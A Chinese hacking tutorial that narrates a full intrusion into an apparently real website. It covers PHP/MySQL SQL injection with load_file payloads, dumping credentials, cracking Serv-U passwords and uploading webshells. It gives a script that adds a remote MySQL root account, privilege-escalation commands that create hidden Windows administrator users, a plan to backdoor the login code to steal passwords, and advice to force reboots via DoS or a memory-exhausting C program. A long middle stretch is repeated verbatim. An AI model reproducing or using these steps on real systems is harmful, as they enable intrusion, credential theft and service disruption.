PHP注入某大型网站 前言:从2003年开始,国内越来越多的朋友都喜欢了脚本攻击,各种ASP注入方法、技巧,真可谓是曾出不穷!同时也应运而生了很多好的注入工具,最典型的属小竹的NBSI和臭要饭的ESC,对MSSQL数据库在配上臭要饭的GETWEBSHELL更是如虎添翼如鱼得水!随着ASP注入的日益成熟,PHP+MYSQL注入也渐渐升温起来,很多朋友也转移到了这上面来!同时也出现了比较好的工具如CASI和二娃。接下来结合一个具体的实例,边理论边实践详细讲述如何由一个小小的PHP注入漏洞,引发破译SERV-U密码,上传PHPSHELL,控制MYSQL数据库,及如何提升系统权限的全过程!本文仅供大家参考,共同提高技术,同时也希望管理员及时弥补系统漏洞,所涉及网址、图片、漏洞,如有雷同,纯属巧合。引用黑防的一句很经典的话"在攻与防的对立中寻求统一!" 一、 PHP注入漏洞,惊显文件内容㈠ 手工注入法 ⑴寻找PHP注入漏洞 平时喜欢在一些知名网站上看文章,下载它们的最新动画!有时看到带参数的,手一痒(^_^)就想在它们后面加上"‘","and 1=1" ,"and 1=2"测试测试。不会吧!http://www.******.net/down/show.php?id=100这个页面竟然存在PHP注入漏洞!在后面加上"‘"http://www.******.net/down/show.php?id=100‘程序输出错误结果: 相关知识点:在php.ini文件中,magic_quotes_gpc boolean 设定 GET/POST/COOKIE 三种模组的特殊字元,包含单引号、双引号、反斜线、及空字 元 (NUL) 是否要自动加入反斜线当溢出字元;display_errors boolean 本选项设定是否要将执行的错误信息显示在使用者的浏览器上。有点经验的朋友一看就知道,原来它用的是夜猫下载系统!赶快下载一个源程序look一下它的源代码,发现没有对id没过滤好! ⑵开始注入,首先确定表中字段数目不像平时ASP注入一样,我们接下来提交:http://www.*****.net/down/show.php?id=100 and 1=2 union select 1出现:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\******\down\show.php on line 45 D:\******\down\global.php on line 578 下面将引入几个重要函数:在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()、VERSION()这些函数来获取一些系统的信息,还有一个应用得比较多的超重量级的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。我们要读取计算机中的文件就全靠它了,然而也是有条件限制的: 相关知识点:程序没把d:\******\downinclude\config.inc.php内容老老实实显示出来,因为在php.ini中magic_quotes_gpc = on,如何才能构造出没有引号的语句呢?经常看黑防的朋友应该很轻松的能构造出,04年黑防第七期安全天使.angle的《SQL Injection with MySQL》一文介绍的用char()函数或者把字符转换成16进制。‘d:\******\down\include\config.inc.php‘,就是char(100,58,92,42,42,42,42,42,42,92,100,111,119,110,92,105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105,110,99,46,112,104,112)或者是"0x643A5C2A2A2A2A2A2A5C646F776E5C696E636C7564655C636F6E6669672E696E632E 706870" 成功:http://www.*****.net/down/show.php?id=100 and 1=2 union select 19,DATABASE(),17,CURRENT_USER(),SYSTEM_USER(),VERSION(),13,12,11,10,9,load_file(char(100,58,92,42,42,42,42,42,42,92,100,111,119,110,92,105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),7,6,5,4,3,2,1 from ymdown_user into outfile ‘ d:\******\down\include\configicnphp.txt ‘(就是把目录成char()或十六进制也不成,请高手指点^_^)以上介绍的是手工的方法看文件内容。 ㈡ 工具注入法①注入工具二娃的使用方法 在"URL"地方添入存在有注入的网址可不要忘记了参数。"注入前页面的关键字":因为加入and 1=1与and 1=2面页显示的内容不同,"注入前页面的关键字"即为加入and1=1 时页面上存在,而加入and 1=2进页面不存在的字,在这里取了个时间为关键字。点"检测"按钮很快就会在结果中出现表中的字段数。比起手工来是又快又轻松啊!点"导入列表"会读取文本文件(biao.txt,你可以在此文件中自行添加表名)中的表名到右边文本框中。点"猜表"按钮,开始猜测表名。"生成backup"用来备份表!(在本次注入中备份没有成功,希望高手指点!) ②注入工具CASI的使用方法CASI一个相当不错的PHP注入工具,利用它可以轻松得到文件内容!而且还带有MYSQL连接器等四个工具!经过我测试,它最多猜测字段数是51个。下面来详细介绍一下如何利用它来显示文件内容: 传回值: 阵列 函式种类: 资料库功能 本函式用来将查询结果 result 拆到阵列变数中。若 result 没有资料,则传回 false 值。而本函式可以说是 sql_fetch_row.htm">mysql_fetch_row() 的加强函式,除可以将传回列及数字索引放入阵列之外,还可以将文字索引放入阵列中。若是好几个传回栏位都是相同的文字名称,则最后一个置入的栏位有效,解决方法是使用数字索引或者为这些同名的栏位 (column) 取别名 (alias)。值得注意的是使用本函式的处理速度其实不会比 sql_fetch_row.htm">mysql_fetch_row() 函式慢,要用哪个函式还是看使用的需求决定。参数 result_typ 是一个常数值,有以下几种常数 MYSQL_ASSOC、MYSQL_NUM 与 MYSQL_BOTH。)然后点右边的"字段扫描"按钮,在最下面的文本框中,就会出现扫描结果,如果存在漏洞,select 后面的数字会出现在网页的相应位置。在暴代码栏中,loadfile插入位置",8"表示:文件内容就会出现在网页中8出现的位置,目标文件path中输入写入你要查看的文件绝对路径如图所示,点"确定"按钮后就会在下面的文本框中8以前出现的位置出现文件代码如图所示。在暴密码栏中,用户名插入位置",16"表示:把用户名显示在网页中16出现的位置;用户名字段表示在表中代表用户名的字段的名称,本表为username; 用密码插入位置",14"表示:把用户密码显示在网页中14出现的位置;用密码字段名表示在表中代表用户密码的字段的名称,本表为password;表名表示:所猜解表的名称,本表为ymdown_user;点右边的确定按钮后,用户名和密码就分别出现在16和14出现的位置了。"停止","刷新","前进","后退","浏览",与IE浏览器相似,在这里就不赘述了。在工具箱栏中,还带有"后台扫描"、"whois查询"、"mysql连接器"、"http头信息"四个工具,点击后台"扫描按钮"会在程序信息中出现发现的url,然后在利用前面讲述的方法,看它的内容你会得到很多重要信息噢;点击"whois查询",会出现一个可按四种方式查询的面页http://whois./,特别是按IP查询,输入一个IP你可以查出在同一IP上所挂的所有域名,这也是旁注入侵的关键所在;点击"mysql连接器"按钮,出现一个mysql连接器登录界面,利用下文讲述的方法得到用户名和密码后,就可登录进去一展身手吧!值得注意的两点是如果连接成功进入后如下图,有个"关闭mysql"按钮,一定要小心,点了后,mysql 可就关了,这时你在浏览网页时就会报错,MYSQL数据库连接失败!!在执行sql语句操作时,命令结果不回显,所以说语法一定要正确,否则错了也不知原因!点击"http头信息"按钮,将在程序信息中显示http头信息情况! ①CASI妙看表中内容 原理明白后,我们还是利用CASI工具,毕竟这样来的更快!通过CASI我们可以得到下载系统的后台密码!(也可通过语句:http://www.*****.net/down/show.php?id=100 and 1=2 union select 19,18,17, username,15,password,13,12,11,10,9,8,7,6,5,4,3,2,1 from ymdown_user)如图所示: 进入它的下载管理面页看看:http://www.******.net/down/admin/index.php晕空的,原理管理员早把它删了,看来此路不通!(艰难的路程刚刚开始,后面很多地方,管理员都做了相应的设置,看我是如何来突破层层防线!) 意:win2000是c:\winnt\my.ini,win2003是c:\windows\my.ini)文件中,查看其内容,晕没找到文件,看来是管理员把文件删了或移到别的目录下了!MYSQL中的数据库和库中的表是如何存放在计算机中的呢?答案:/mysql/data/数据库名/表名.后缀名(后缀名有MYD,FRM,MYI, 其中MYD中存放了表中的所有内容)。利用管理员在装软件时默认路径的习惯,我们可以很容易的猜出我们想要的文件的物理路径。利用CASI看C:\mysql\data\mysql\user.myd的文件内容如下:
root66121efb4645a6
root66121efb4645a6
root66121efb4645a6 ; ? localhostdownload7d27f0db44**ea1d[1][1][1][1][1][1][1][1][1]Hd5d33a536[1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1] 4a[1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1] ; ? localhostdownload7d27f0db44**ea1d[1][1][1][1][1][1][1][1][1]Hd5d33a536[1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1] 4a[1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1][1]
②HSACN扫出新思路 拿出Hscan.exe这个短小精悍的扫描工具,扫描结果如下: 开了21端口,登录一试还是SERV-U5.0来。再次利用CASI查看:C:\Program Files\Serv-U\ServUDaemon.ini(这个也是SERV-U的默认安装路径)的内容!这可是个核心文件啊!里面记录了很多重要内容:如用户名,用户数,密码,用户所在的目录以及对此目录的操作权限等。主要内容如下: Version=5.0.0.4 ......... [DOMAINS] Domain1=211.92.***.*||21|***.net|1|0|0 [Domain1] User1=b******n|1|0 ...... [USER=b******n|1] Password=gk5****EF75***2A8182464CD7EE8B***C HomeDir=d:\s***n\ a***lover\photo\gallery RelPaths=1 TimeOut=600 Access1=D:\s***n\ a***lover\photo\gallery |RWAMLCDP SKEYValues= ...... ③深挖SERV-U密码 方法一:爆破法.最显眼的要属用户名和密码了,关键是如何破密码呢?到网上搜了一个专门破SERV-U密码的工具(Serv-UPassCrack1.0a.rar),太慢了,这要等到何年何月啊!干脆用记事本打开它的脚本crack.vbs.看看解密原理:假设原来明文密码用"password_mingwen"表示,密文密码也就是我们在ServUDaemon.ini中看到的密码(34位),用"password_miwen"表示,密文的前两位合并上明文,然后经MD5加密后正好等于密文的后三十二位!即: 方法二:程序法.不要在一棵树上吊死,一边挂着字典爆破,一边看看还有没有别的途径,双管齐下吗,要不闲着也是闲着(哈哈)!在c:\Program Files\Serv-U\ServUDaemon.ini文件中共有十多位用户,其中有一个的用户目录:"d:\s***n\a***lover\photo\gallery" 吸引了我。立即在浏览器中打上http://www.*****.net/ a***lover/photo/gallery 出现如下提示:"This Virtual Directory does not allow contents to be listed",在试试它的上一级目录看看:http://www.*****.net/ a***lover/photo/真是山重水复疑无路,柳暗花明又一村啊!原来在机子里还藏着个某某网络相册.首先注册个用户进去看看,有图片上传功能啊,抓包看看是否存在有类似动网UPFILE的漏洞,用NC提交后失败了,上传类型还是图片文件,又是那句话:"此路不通"。利用CASI查看http://www.*****.net/ a***lover/photo/index.php的文件内容得知:程序中文名称:文本图片管理程序 程序英文名称:NEATPIC 版本:2.0.13 BETA,老规矩先到网上下个研究研究在说。经过分析目录结构发现在:database/user.php文件用于存放用户名密码等注册信息!用CASI打开:http://www.*****.net/ a***lover/photo/database/user.php显示无文件内容!难道是默认目录不对?!管理员把目录改了!!看配置文件:http://www.*****.net/ a***lover/photo/inc/config.inc.php发现: 果然管理员把默认的database目录改成了database678了!现在可以用CASI查看user.php的内容了如下图: 最下面的哪一行即ID=1的为管理员的注册信息,第一个为用户名,第二个为密码。发现该用户名与ServUDaemon.ini中的相同,密码会不会也相同呢?(很多人都有使用同一密码的习惯!!)打开DOS窗口-->登录FTP-->输入用户名和密码,成功了,终于成功了!揪出这个密码可真不容易啊!!这时字典还在哪挂着来,要跑出这个8位纯字母的密码也要费一段时间啊!! 一、 上传PHPSHELL,控制MYSQL数据库 通过ServUDaemon.ini文件中的Access1=D:\s***n\ a***lover\photo\gallery |RWAMLCDP知道该用户具有:读取(R),写入(W),追加(A)等功能,唯独缺少了"执行(E)"功能!利用PUT命令上传一个一句话的WebShell上去.在浏览器中运行http://www.*****.net/ a***lover/photo/gallery/webshell.php?cmd=dir,出现:
safe_mode 接下来上传一个自己编的仅带有浏览,拷贝,重命名,删除文件和上传文件五个功能的PHPSHELL:CMD.PHP 运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\windows,以及C:\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^ 如何才能把文件写到只读的C盘上呢这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配置文件config.inc.php的内容了吗? $dbuser="root";//数据库用户名 $dbpass="******";//数据库密码 $dbname="article";//数据库名 数据库用户名和密码都知道了,可惜的是本地用户,然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。 为此专门写了个程序adduser.php利用已知的有ROOT权限的账号添写加远程ROOT权限的账号,内容如下: $dbh=mysql_connect(‘localhost:3306‘,‘root‘,‘*****‘);// echo mysql_errno().": ".mysql_error()." mysql_select_db(‘mysql‘); echo mysql_errno().": ".mysql_error()." $query="GRANT ALL PRIVILEGES ON *.* TO username@‘%‘IDENTIFIED BY ‘password‘ WITH GRANT OPTION"; $res=mysql_query($query, $dbh); echo mysql_errno().": ".mysql_error()." $err=mysql_error(); if($err){ echo "ERROR!"; } else{ echo "ADD USER OK!"; } ?> 利用cmd.php上传adduser.php执行后,就在库中添加了一个远程ROOT账号,就可以用CASI带的MYSQL连接器连上了!!它可以把MYSQL库关了!!用牛族可方便的浏览表中的记录!!如下图:带%号的用户为添加的远程用户。 四、 提升权限 FTP是ServU5.0.0.4又有用户名和密码,自然会想到是否存在溢出,在网上搜个工具sftp 执行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后没有溢出成功,看来是管理员打了补丁!哪只好想别的办法了!(-I 表示ip地址,-u 用户名,-p 密码-o操作系统类型,-p 端口号) 以下总结了几种提升权限的方法供大参考: 方法一、打开牛族MYSQL连接器,在命令行上输入: user download; create table cmdphp (cmd TEXT); insert into cmdphp values("set wshshell=createobject(\"wscript.shell\")"); insert into cmdphp values("a=wshshell.run(\"cmd.exe /c net user hello hello\",0)"); insert into cmdphp values("b=wshshell.run(\"cmd.exe /c net user localgroup administrators hello /add\",0)"); select * from cmdphp into outfile "c:\\Documents and Settings\\Administrator\\[开始]菜单\\程序\\启动\\cmdphp.vbs"; 注意:在路径中要用"\\"而不是"\",要加双引号时,前面必需加"\"。原理是:我们在download数据库中,建了一个表cmdphp,表中共一个字段cmd,我们把要执行的命令写到表中,然后在在表中导出到启动菜单中!这样只要一重起后,我们就会得到一个管理员级的用户hello了。d:\s***n\a***lover\photo\gallery 方法二、修改SERV-U的文件ServUDaemon.ini中的相应内容: HomeDir=c:\ RelPaths=1 TimeOut=600 Access1=D:\s***n\ a***lover\photo\gallery |RWAMELCDP Maintenance=System SKEYValues= 把密码换成我们知道的密码,把主目录换成c:\,Access1后的目录可以不用换,这样使管理员在SERV-U里看起来还是以前的目录名,|RWAMELCDP这一串是关键,我们比以前多加了一个"E"代表我们有"执行"权限,Maintenance=System表示我们的身份是管理员。 在本地设置好后,就开始想办法,替换掉它的文件?首先,利用我的哪个cmd.。php SHELL的上传文件功能,先把它上传到d:\s***n\a***lover\photo\gallery目录(上传成功后文件与SHELL在同一目录)下,同样再打开牛族MYSQL连接器: create table servu (cmd TEXT); load data infile "d:\\s***n\\a***lover\\photo\\gallery\\ServUDaemon.ini; select * from servu into outfile "C:\Program Files\Serv-U\ServUDaemon.ini"; 条件是SERV-U重启后,我们的哪个用户就是管理员了,而且在C盘根目录下具有可执行权限。登上SERV-U服务器上执行如下命令: quote site exec net.exe user hello hello /add quote site exec net.exe localgroup administrators hello /add 这样我们就得到了一个管理员级的用户hello。如果没有开3389我们可以利用PUT上传给它上传个3389.EXE,然后用quote执行后,就可以用3389登录器连接了!同样我们也可以利用另外一个小工具xyzcmd.exe在DOS下登录,会得到一个CMDSHELL. 方法三:由于管理员在PHP.INI中做了一些限制,上传的PHPSHELL没法执行外部命令,利用CMD.PHP的浏览命令,你可以在它的上面找到它的PHP和SERV-U的安装程序,DOWN下来,在本机上模拟它的环境,配置自己的PHP.INI文件,使它能够执行外部命令,解释ASP和CGI,然后利用方法二替换掉它的PHP.INI文件。也有个条件就是WEB重启后才能生效。我们需要一个小东西-FPIPE.EXE端口重定向工具!fpipe -v -l 5210 -s 5209 -r 43958 127.0.0.1(把本机的43958端口,通过5209端口,转发到5210端口)打开你本地SERV-U添加一台服务器,来连接5210,填上服务器IP,监听端口号5210,填上帐户和密码! user:LocalAdministrator pass:#l@$ak#.lk;0@P全部搞定后,来连接SERV-U,连接成功后,我们就对此服务器SERV-U有了完全控制权限!然后登录上SERV-U加管理员用户就OK了! 方法四:社会工程学加网页木马!在04年黑防第6期我的朋友血汉的《网页木马让你肉鸡成群》一文中,讲了许多做木马的方法,在这里就不啰嗦了,省的老独说转稿费,哈哈!把"马"传上去后,可以在论坛里发个贴子,如"管理员我发现了此网站一个漏洞!"或"管理员我对网站有几点建议"估计不久真的会成为"养鸡专业户了"。建议不要改人家的主页,一来不好,二来如果挂在主页上,管理员看到后不一定会点开!还有更隐蔽的一招,就是修改源程序(估计一般管理员不会没事读源程序吧^_^),找到网站登录的程序,加一段程序,可以根据ID来判断是管理员,如果是把他的密码(在如MD5加密前)插入到你的信箱或QQ等字段中,这样你可以打开你的用户资料来看了!! 接下来谈谈如何叫服务器重起:方法一、我非常建议用的方法哪就是DOS攻击!方法二、如果你上传的SHELL能执行命令!可以传一个很简单的C程序,让它不断地MALLOC分配内存,而且不FREE。 #include #include main() {for(; ;) malloc(0xffffff);} 方法三、如果一些网站是PHP的不能执行外部命令(我们上传上去的可执行文件不能运行)!哪位高手编一个PHP程序耗掉它的资源! ②HSACN扫出新思路 拿出Hscan.exe这个短小精悍的扫描工具,扫描结果如下: 开了21端口,登录一试还是SERV-U5.0来。再次利用CASI查看:C:\Program Files\Serv-U\ServUDaemon.ini(这个也是SERV-U的默认安装路径)的内容!这可是个核心文件啊!里面记录了很多重要内容:如用户名,用户数,密码,用户所在的目录以及对此目录的操作权限等。主要内容如下: Version=5.0.0.4 ......... [DOMAINS] Domain1=211.92.***.*||21|***.net|1|0|0 [Domain1] User1=b******n|1|0 ...... [USER=b******n|1] Password=gk5****EF75***2A8182464CD7EE8B***C HomeDir=d:\s***n\ a***lover\photo\gallery RelPaths=1 TimeOut=600 Access1=D:\s***n\ a***lover\photo\gallery |RWAMLCDP SKEYValues= ...... ③深挖SERV-U密码 方法一:爆破法.最显眼的要属用户名和密码了,关键是如何破密码呢?到网上搜了一个专门破SERV-U密码的工具(Serv-UPassCrack1.0a.rar),太慢了,这要等到何年何月啊!干脆用记事本打开它的脚本crack.vbs.看看解密原理:假设原来明文密码用"password_mingwen"表示,密文密码也就是我们在ServUDaemon.ini中看到的密码(34位),用"password_miwen"表示,密文的前两位合并上明文,然后经MD5加密后正好等于密文的后三十二位!即: 方法二:程序法.不要在一棵树上吊死,一边挂着字典爆破,一边看看还有没有别的途径,双管齐下吗,要不闲着也是闲着(哈哈)!在c:\Program Files\Serv-U\ServUDaemon.ini文件中共有十多位用户,其中有一个的用户目录:"d:\s***n\a***lover\photo\gallery" 吸引了我。立即在浏览器中打上http://www.*****.net/ a***lover/photo/gallery 出现如下提示:"This Virtual Directory does not allow contents to be listed",在试试它的上一级目录看看:http://www.*****.net/ a***lover/photo/真是山重水复疑无路,柳暗花明又一村啊!原来在机子里还藏着个某某网络相册.首先注册个用户进去看看,有图片上传功能啊,抓包看看是否存在有类似动网UPFILE的漏洞,用NC提交后失败了,上传类型还是图片文件,又是那句话:"此路不通"。利用CASI查看http://www.*****.net/ a***lover/photo/index.php的文件内容得知:程序中文名称:文本图片管理程序 程序英文名称:NEATPIC 版本:2.0.13 BETA,老规矩先到网上下个研究研究在说。经过分析目录结构发现在:database/user.php文件用于存放用户名密码等注册信息!用CASI打开:http://www.*****.net/ a***lover/photo/database/user.php显示无文件内容!难道是默认目录不对?!管理员把目录改了!!看配置文件:http://www.*****.net/ a***lover/photo/inc/config.inc.php发现: 果然管理员把默认的database目录改成了database678了!现在可以用CASI查看user.php的内容了如下图:
最下面的哪一行即ID=1的为管理员的注册信息,第一个为用户名,第二个为密码。发现该用户名与ServUDaemon.ini中的相同,密码会不会也相同呢?(很多人都有使用同一密码的习惯!!)打开DOS窗口-->登录FTP-->输入用户名和密码,成功了,终于成功了!揪出这个密码可真不容易啊!!这时字典还在哪挂着来,要跑出这个8位纯字母的密码也要费一段时间啊!! 一、 上传PHPSHELL,控制MYSQL数据库 通过ServUDaemon.ini文件中的Access1=D:\s***n\ a***lover\photo\gallery |RWAMLCDP知道该用户具有:读取(R),写入(W),追加(A)等功能,唯独缺少了"执行(E)"功能!利用PUT命令上传一个一句话的WebShell上去.在浏览器中运行http://www.*****.net/ a***lover/photo/gallery/webshell.php?cmd=dir,出现:
接下来上传一个自己编的仅带有浏览,拷贝,重命名,删除文件和上传文件五个功能的PHPSHELL:CMD.PHP 运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\windows,以及C:\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^ 如何才能把文件写到只读的C盘上呢这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配置文件config.inc.php的内容了吗? $dbuser="root";//数据库用户名 $dbpass="******";//数据库密码 $dbname="article";//数据库名 数据库用户名和密码都知道了,可惜的是本地用户,然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。 为此专门写了个程序adduser.php利用已知的有ROOT权限的账号添写加远程ROOT权限的账号,内容如下: $dbh=mysql_connect(‘localhost:3306‘,‘root‘,‘*****‘);// echo mysql_errno().": ".mysql_error()." mysql_select_db(‘mysql‘); echo mysql_errno().": ".mysql_error()." $query="GRANT ALL PRIVILEGES ON *.* TO username@‘%‘IDENTIFIED BY ‘password‘ WITH GRANT OPTION"; $res=mysql_query($query, $dbh); echo mysql_errno().": ".mysql_error()." $err=mysql_error(); if($err){ echo "ERROR!"; } else{ echo "ADD USER OK!"; } ?> 利用cmd.php上传adduser.php执行后,就在库中添加了一个远程ROOT账号,就可以用CASI带的MYSQL连接器连上了!!它可以把MYSQL库关了!!用牛族可方便的浏览表中的记录!!如下图:带%号的用户为添加的远程用户。 四、 提升权限 FTP是ServU5.0.0.4又有用户名和密码,自然会想到是否存在溢出,在网上搜个工具sftp 执行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后没有溢出成功,看来是管理员打了补丁!哪只好想别的办法了!(-I 表示ip地址,-u 用户名,-p 密码-o操作系统类型,-p 端口号) 以下总结了几种提升权限的方法供大参考: 方法一、打开牛族MYSQL连接器,在命令行上输入: user download; create table cmdphp (cmd TEXT); insert into cmdphp values("set wshshell=createobject(\"wscript.shell\")"); insert into cmdphp values("a=wshshell.run(\"cmd.exe /c net user hello hello\",0)"); insert into cmdphp values("b=wshshell.run(\"cmd.exe /c net user localgroup administrators hello /add\",0)"); select * from cmdphp into outfile "c:\\Documents and Settings\\Administrator\\[开始]菜单\\程序\\启动\\cmdphp.vbs"; 注意:在路径中要用"\\"而不是"\",要加双引号时,前面必需加"\"。原理是:我们在download数据库中,建了一个表cmdphp,表中共一个字段cmd,我们把要执行的命令写到表中,然后在在表中导出到启动菜单中!这样只要一重起后,我们就会得到一个管理员级的用户hello了。d:\s***n\a***lover\photo\gallery 方法二、修改SERV-U的文件ServUDaemon.ini中的相应内容: HomeDir=c:\ RelPaths=1 TimeOut=600 Access1=D:\s***n\ a***lover\photo\gallery |RWAMELCDP Maintenance=System SKEYValues= 把密码换成我们知道的密码,把主目录换成c:\,Access1后的目录可以不用换,这样使管理员在SERV-U里看起来还是以前的目录名,|RWAMELCDP这一串是关键,我们比以前多加了一个"E"代表我们有"执行"权限,Maintenance=System表示我们的身份是管理员。 在本地设置好后,就开始想办法,替换掉它的文件?首先,利用我的哪个cmd.。php SHELL的上传文件功能,先把它上传到d:\s***n\a***lover\photo\gallery目录(上传成功后文件与SHELL在同一目录)下,同样再打开牛族MYSQL连接器: create table servu (cmd TEXT); load data infile "d:\\s***n\\a***lover\\photo\\gallery\\ServUDaemon.ini; select * from servu into outfile "C:\Program Files\Serv-U\ServUDaemon.ini"; 条件是SERV-U重启后,我们的哪个用户就是管理员了,而且在C盘根目录下具有可执行权限。登上SERV-U服务器上执行如下命令: quote site exec net.exe user hello hello /add quote site exec net.exe localgroup administrators hello /add 这样我们就得到了一个管理员级的用户hello。如果没有开3389我们可以利用PUT上传给它上传个3389.EXE,然后用quote执行后,就可以用3389登录器连接了!同样我们也可以利用另外一个小工具xyzcmd.exe在DOS下登录,会得到一个CMDSHELL. 方法三:由于管理员在PHP.INI中做了一些限制,上传的PHPSHELL没法执行外部命令,利用CMD.PHP的浏览命令,你可以在它的上面找到它的PHP和SERV-U的安装程序,DOWN下来,在本机上模拟它的环境,配置自己的PHP.INI文件,使它能够执行外部命令,解释ASP和CGI,然后利用方法二替换掉它的PHP.INI文件。也有个条件就是WEB重启后才能生效。我们需要一个小东西-FPIPE.EXE端口重定向工具!fpipe -v -l 5210 -s 5209 -r 43958 127.0.0.1(把本机的43958端口,通过5209端口,转发到5210端口)打开你本地SERV-U添加一台服务器,来连接5210,填上服务器IP,监听端口号5210,填上帐户和密码! user:LocalAdministrator pass:#l@$ak#.lk;0@P全部搞定后,来连接SERV-U,连接成功后,我们就对此服务器SERV-U有了完全控制权限!然后登录上SERV-U加管理员用户就OK了! 方法四:社会工程学加网页木马!在04年黑防第6期我的朋友血汉的《网页木马让你肉鸡成群》一文中,讲了许多做木马的方法,在这里就不啰嗦了,省的老独说转稿费,哈哈!把"马"传上去后,可以在论坛里发个贴子,如"管理员我发现了此网站一个漏洞!"或"管理员我对网站有几点建议"估计不久真的会成为"养鸡专业户了"。建议不要改人家的主页,一来不好,二来如果挂在主页上,管理员看到后不一定会点开!还有更隐蔽的一招,就是修改源程序(估计一般管理员不会没事读源程序吧^_^),找到网站登录的程序,加一段程序,可以根据ID来判断是管理员,如果是把他的密码(在如MD5加密前)插入到你的信箱或QQ等字段中,这样你可以打开你的用户资料来看了!! 接下来谈谈如何叫服务器重起:方法一、我非常建议用的方法哪就是DOS攻击!方法二、如果你上传的SHELL能执行命令!可以传一个很简单的C程序,让它不断地MALLOC分配内存,而且不FREE。 #include #include main() {for(; ;) malloc(0xffffff);} 方法三、如果一些网站是PHP的不能执行外部命令(我们上传上去的可执行文件不能运行)!哪位高手编一个PHP程序耗掉它的资源! |
|